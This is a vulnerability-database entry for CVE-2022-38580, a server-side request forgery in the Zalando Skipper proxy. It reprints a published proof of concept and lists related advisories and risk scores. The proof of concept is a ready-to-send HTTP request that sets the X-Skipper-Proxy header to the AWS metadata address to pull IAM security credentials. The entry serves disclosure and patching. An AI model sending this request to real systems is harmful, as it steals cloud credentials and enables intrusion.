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X-Skipper-Proxy 0.13.237 Server-Side Request Forgery
🗓️ 28 Mar 2023 00:00:00Reported by Milad Fadavvi, Hosein VitaType 
packetstorm🔗 packetstormsecurity.com👁 251 Views
| Reporter | Title | Published | Views | Family All 16 |
|---|---|---|---|---|
 | X-Skipper-Proxy v0.13.237 - Server Side Request Forgery Vulnerability | 28 Mar 202300:00 | – | zdt |
 | CVE-2022-38580 | 25 Oct 202220:27 | – | circl |
 | Skipper 代码问题漏洞 | 25 Oct 202200:00 | – | cnnvd |
 | CVE-2022-38580 | 24 Oct 202200:00 | – | cve |
 | CVE-2022-38580 | 24 Oct 202200:00 | – | cvelist |
 | X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF) | 28 Mar 202300:00 | – | exploitdb |
 | Skipper vulnerable to SSRF via X-Skipper-Proxy | 25 Oct 202220:22 | – | github |
 | CVE-2022-38580 | 25 Oct 202217:15 | – | nvd |
 | CVE-2022-38580 | 25 Oct 202217:15 | – | osv |
| GHSA-F2RJ-M42R-6JM2 Skipper vulnerable to SSRF via X-Skipper-Proxy | 25 Oct 202220:22 | – | osv |
10
`#Exploit Title: X-Skipper-Proxy v0.13.237 - Server Side Request Forgery (SSRF)
#Date: 24/10/2022
#Exploit Author: Hosein Vita & Milad Fadavvi
#Vendor Homepage: https://github.com/zalando/skipper
#Software Link: https://github.com/zalando/skipper
#Version: < v0.13.237
#Tested on: Linux
#CVE: CVE-2022-38580
Summary:
Skipper prior to version v0.13.236 is vulnerable to server-side request forgery (SSRF). An attacker can exploit a vulnerable version of proxy to access the internal metadata server or other unauthenticated URLs by adding an specific header (X-Skipper-Proxy) to the http request.
Proof Of Concept:
1- Add header "X-Skipper-Proxy" to your request
2- Add the aws metadata to the path
GET /latest/meta-data/iam/security-credentials HTTP/1.1
Host: yourskipperdomain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
X-Skipper-Proxy: http://169.254.169.254
Connection: close
Reference:
https://github.com/zalando/skipper/security/advisories/GHSA-f2rj-m42r-6jm2
`
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28 Mar 2023 00:00Current
9.4High risk
Vulners AI Score9.4
CVSS 3.19.8
EPSS0.42249
SSVC